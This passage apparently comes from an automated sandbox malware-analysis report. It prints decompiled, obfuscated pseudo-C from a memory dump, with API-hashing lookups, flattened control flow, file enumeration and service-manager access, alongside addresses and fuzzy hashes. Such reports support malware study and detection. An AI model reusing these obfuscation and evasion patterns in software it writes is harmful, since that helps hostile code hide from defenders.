				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x32e430 == 0) {
								 *0x32e430 = E00323E60(_t56, E00323F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x32dba4;
								if(_t42 == 0) {
									_t42 = E00323E60(_t56, E00323F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x32dba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E003234C0(0x32d290);
											_t50 =  *0x32e158;
											if(_t50 == 0) {
												_t50 = E00323E60(_t56, E00323F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x32e158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E003238F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E00323460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E003234C0(0x32d260);
					_t24 =  *0x32e158;
					if(_t24 == 0) {
						_t24 = E00323E60(_t56, E00323F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x32e158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x32e494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E00323E60(_t56, E00323F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x32e494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x32df30;
					if(_t28 == 0) {
						_t28 = E00323E60(_t56, E00323F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x32df30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x32df88;
						if(_t33 == 0) {
							_t33 = E00323E60(_t56, E00323F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x32df88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x003238fa
0x003238fc
0x003238fe
0x00323902
0x00323907
0x00323910
0x00323910
0x00323910
0x00323915
0x00000000
0x00000000
0x0032391b
0x00323a5f
0x00000000
0x00323921
0x00323926
0x00323a1e
0x00323a36
0x00323a36
0x00323a48
0x00323a4a
0x00323a4f
0x00323ba1
0x00323a55
0x00323a55
0x00000000
0x00323a55
0x0032392c
0x00323931
0x00323b70
0x00323b77
0x00323b8a
0x00323b8f
0x00323b8f
0x00000000
0x00323b95
0x0032393c
0x00323ab6
0x00323abb
0x00000000
0x00323acb
0x00323acb
0x00323acb
0x00323942
0x00323947
0x003239fd
0x00323a06
0x00323a0d
0x0032394d
0x00323953
0x00323974
0x00323976
0x00000000
0x00323978
0x00323982
0x00323984
0x0032398b
0x0032399e
0x003239a3
0x003239a3
0x003239bc
0x003239d8
0x003239dd
0x003239e2
0x003239e7
0x003239e7
0x00323955
0x00323955
0x0032395d
0x0032396d
0x0032396d
0x00000000
0x00000000
0x00000000
0x0032395d
0x00323953
0x00000000
0x00323947
0x0032393c
0x00323926
0x00000000
0x0032391b
0x00323a6e
0x00323ad6
0x00323ad8
0x00323adf
0x00323af2
0x00323af7
0x00323af7
0x00323b0b
0x00323b0d
0x00323b12
0x00323b17
0x00323b2a
0x00323b2f
0x00323b2f
0x00323b36
0x00323b38
0x00323b3f
0x00323b52
0x00323b57
0x00323b57
0x00323b60
0x00323b62
0x00323b66
0x00000000
0x00323a70
0x00323a75
0x00000000
0x00323a77
0x00323a77
0x00323a7e
0x00323a91
0x00323a96
0x00323a96
0x00323aa1
0x00323aa5
0x00323aac
0x00000000
0x00323aac
0x00323a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 00323A48

Strings

., xrefs: 0032394D

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: 1b3d1b21419dee0029035a9767b54c5825b50ee8738c9d1b445a739be9c70a08
Instruction ID: c9d682b3b1052cd1531ab3e8c9b341998cce87fa43a2c2f10d3c6f8ee45b1d7c
Opcode Fuzzy Hash: 1b3d1b21419dee0029035a9767b54c5825b50ee8738c9d1b445a739be9c70a08
Instruction Fuzzy Hash: DC5124317042214BCB36AB68F845B7B36AA9B91700F11092DF496DB351EB7DCF458792

Uniqueness

Uniqueness Score: -1.00%

Function 00325040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00325040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x32e494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E00323E60(_t58, E00323F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x32e494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x32dd18;
								if( *0x32dd18 == 0) {
									 *0x32dd18 = E00323E60(_t58, E00323F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x32e484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E00323E60(_t58, E00323F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x32e484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x32e18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E00323E60(_t58, E00323F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x32e18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x32e29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E00323E60(_t58, E00323F00(0x26f5757c), 0x4574c66, _t112);
											 *0x32e29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x32de08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E00323E60(_t58, E00323F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x32de08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x32e494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E00323E60(_t58, E00323F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x32e494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x32df30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E00323E60(_t58, E00323F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x32df30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x32e494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E00323E60(_t58, E00323F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x32e494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x32df30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E00323E60(_t58, E00323F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x32df30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x32e270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E00323E60(_t58, E00323F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x32e270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x32e200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E00323E60(_t58, E00323F00(0x26f5757c), 0x16d40839, _t112);
								 *0x32e200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E003242C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x00325047
0x0032504b
0x0032504d
0x00325051
0x00325053
0x00325057
0x0032505c
0x0032505c
0x00325060
0x00325060
0x00325060
0x00325066
0x00000000
0x00000000
0x003251af
0x003251b5
0x003252f9
0x003252ff
0x00000000
0x00325301
0x00325301
0x00325306
0x00325308
0x0032531b
0x00325320
0x00325320
0x00325327
0x0032532e
0x00325330
0x00325348
0x00325348
0x00325355
0x00325357
0x00325359
0x0032535b
0x0032535d
0x0032505c
0x0032505c
0x00000000
0x0032505c
0x0032505c
0x0032535b
0x003251bb
0x003251bb
0x00325277
0x0032527c
0x0032527e
0x00325291
0x00325296
0x00325296
0x003252ac
0x003252b0
0x003252b2
0x003252bd
0x003252c3
0x003252c5
0x003252d8
0x003252dd
0x003252dd
0x003252e6
0x00000000
0x003251c1
0x003251c1
0x003251c7
0x0032526d
0x00000000
0x003251cd
0x003251cd
0x003251d3
0x003252e8
0x003252e8
0x003252ee
0x0032505c
0x0032505c
0x00000000
0x0032505c
0x0032505c
0x003251d9
0x003251d9
0x003251de
0x003251e0
0x003251f3
0x003251f8
0x003251f8
0x0032521b
0x0032521d
0x0032521f
0x003250ef
0x003250ef
0x0032505c
0x0032505c
0x00000000
0x0032505c
0x00325225
0x00325225
0x0032522a
0x0032522c
0x0032523f
0x00325244
0x00325244
0x00325249
0x0032524e
0x0032525b
0x0032525d
0x0032525f
0x00325261
0x00325265
0x00000000
0x00325265
0x00000000
0x0032521f
0x003251d3
0x003251c7
0x003251bb
0x003253c0
0x003253c0
0x00000000
0x003253c0
0x0032506c
0x00325367
0x0032536c
0x0032536e
0x00325381
0x00325386
0x00325386
0x0032538d
0x0032538f
0x00325394
0x00325396
0x003253a9
0x003253ae
0x003253ae
0x00000000
0x003253b7
0x00325072
0x00325078
0x003250f9
0x003250ff
0x00325153
0x00325158
0x0032515a
0x0032516d
0x00325172
0x00325172
0x00325179
0x0032517b
0x00325180
0x00325182
0x00325195
0x0032519a
0x0032519a
0x003251a3
0x003251a5
0x00000000
0x00325101
0x00325101
0x00325107
0x00000000
0x0032510d
0x0032510d
0x00325112
0x00325114
0x00325127
0x0032512c
0x0032512c
0x00325139
0x0032513b
0x0032513d
0x0032514b
0x0032505c
0x0032505c
0x00000000
0x0032505c
0x0032505c
0x00325107
0x0032507a
0x0032507a
0x003250c2
0x003250c7
0x003250c9
0x003250dc
0x003250e1
0x003250e1
0x003250ed
0x00000000
0x0032507c
0x00325082
0x003250ad
0x003250b0
0x003250b2
0x003250ba
0x00000000
0x00325084
0x0032508a
0x00000000
0x00325090
0x0032509a
0x003250a8
0x0032505c
0x0032505c
0x00000000
0x0032505c
0x0032505c
0x0032508a
0x00325082
0x0032507a
0x00000000
0x00325078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,00328AC8,?,3251FEFE,?,?), ref: 00325355

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5ef7a4bdde2ccb203f36da6931c72b884a57ee6e93a140d23d93589da494f387
Instruction ID: 136c0dd83d50c03ae8143d45864cb0f2f0c462b6be72575ebc18d4131d3e205e
Opcode Fuzzy Hash: 5ef7a4bdde2ccb203f36da6931c72b884a57ee6e93a140d23d93589da494f387
Instruction Fuzzy Hash: FC810632B447309BDB22AF79BC8272A36DEAB94740F52042DF811DF295EA34DE054BC1

Uniqueness

Uniqueness Score: -1.00%

Function 00329860, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00329860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x32e310;
							if( *0x32e310 == 0) {
								 *0x32e310 = E00323E60(_t64, E00323F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x32e54c; // 0x8fdff0
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x32dbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E00323E60(_t64, E00323F00(0xd9518805), 0x141622d6, _t94);
										 *0x32dbd8 = _t69;
									}
									_t53 =  *0x32e54c; // 0x8fdff0
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E00327C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x32e3f4;
											if(_t60 == 0) {
												_t60 = E00323E60(_t64, E00323F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x32e3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E00323D00( &_v536);
											_t72 =  *0x32e54c; // 0x8fdff0
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x32dbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E00323E60(_t64, E00323F00(0xd9518805), 0x141622d6, _t94);
								 *0x32dbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x32e54c; // 0x8fdff0
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E00323040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x32e494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E00323E60(_t64, E00323F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x32e494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x32dd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E00323E60(_t64, E00323F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x32dd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x32e54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E00327E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x32e18c;
								if( *0x32e18c == 0) {
									 *0x32e18c = E00323E60(_t64, E00323F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x32e54c; // 0x8fdff0
									 *((intOrPtr*)(_t47 + 8)) = 0x327e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x00329868
0x0032986a
0x00329871
0x00329875
0x00329875
0x00329878
0x00329880
0x00329880
0x00329880
0x00329880
0x00329885
0x00000000
0x00000000
0x0032988b
0x00329993
0x00329995
0x003299ad
0x003299ad
0x003299bb
0x003299bd
0x003299bf
0x003299c1
0x003299d8
0x003299c3
0x003299c3
0x003299c8
0x003299ce
0x003299ce
0x00000000
0x00329891
0x00329891
0x00329896
0x00329936
0x0032993b
0x00000000
0x00329941
0x00329941
0x00329947
0x00329949
0x00329961
0x00329963
0x00329963
0x00329969
0x0032997d
0x0032997f
0x00329981
0x00329986
0x00000000
0x00329986
0x0032989c
0x0032989c
0x00329927
0x0032992c
0x00000000
0x003298a2
0x003298a7
0x00329905
0x0032990d
0x00329912
0x0032991a
0x00000000
0x003298a9
0x003298ae
0x00000000
0x003298b4
0x003298b4
0x003298bb
0x003298ce
0x003298d3
0x003298d3
0x003298e4
0x003298ea
0x003298ef
0x003298f5
0x003298fb
0x00000000
0x003298fb
0x003298ae
0x003298a7
0x0032989c
0x00329896
0x00000000
0x0032988b
0x003299e2
0x003299e7
0x00329ae3
0x00329ae8
0x00329b02
0x00329b07
0x00329b09
0x00329b1c
0x00329b21
0x00329b21
0x00329b33
0x00329b35
0x00329b3e
0x00329b3e
0x00329b44
0x00000000
0x00000000
0x00000000
0x00000000
0x003299ed
0x003299ed
0x00329a73
0x00329a78
0x00329a7a
0x00329a8d
0x00329a92
0x00329a92
0x00329a99
0x00329a9b
0x00329aa0
0x00329aa2
0x00329ab5
0x00329aba
0x00329aba
0x00329ac7
0x00329ac9
0x00329ace
0x00329ad0
0x00329b4f
0x00329b58
0x00329ad2
0x00329ad2
0x00329ad9
0x00000000
0x00329ad9
0x003299f3
0x003299f3
0x003299f8
0x00329a47
0x00329a49
0x00329a61
0x00329a61
0x00329a67
0x00329a69
0x00000000
0x003299fa
0x003299fa
0x003299ff
0x00000000
0x00329a05
0x00329a05
0x00329a0d
0x00329a12
0x00329a17
0x00329a1f
0x00329a24
0x00329a2c
0x00329a31
0x00329a38
0x00000000
0x00329a38
0x003299ff
0x003299f8
0x003299ed
0x00000000
0x00329aea
0x00329aea
0x00329aea
0x00329b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,008FDFD8), ref: 0032997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 003299BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 00329A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 00329B33

Strings

2S, xrefs: 00329A05
Y4[0, xrefs: 00329AEA

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 2S$Y4[0
API String ID: 2382770032-4131004879
Opcode ID: 901f3f3df0e6771c802e06df2c222d1fd8829cd6446574cfc36f66ae3e7a5bc9
Instruction ID: 827c36d81320fa2852553094f2cfa80cd2863c5697ece3554073732a51f53705
Opcode Fuzzy Hash: 901f3f3df0e6771c802e06df2c222d1fd8829cd6446574cfc36f66ae3e7a5bc9
Instruction Fuzzy Hash: 4661E631B043255BEB2AEF68FC9676A329DEB90B04F15042EF145DF251EA34CD058BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00328400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00328400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E0032B6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x32dec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E00323F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E00323E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x32dec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x32de3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E00323F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E00323E60(_t101, _t98, 0x20de7595, _t126);
									 *0x32de3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x32e1d4;
										if(_t93 == 0) {
											_t97 = E00323F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E00323E60(_t101, _t97, 0xa229df38, _t126);
											 *0x32e1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
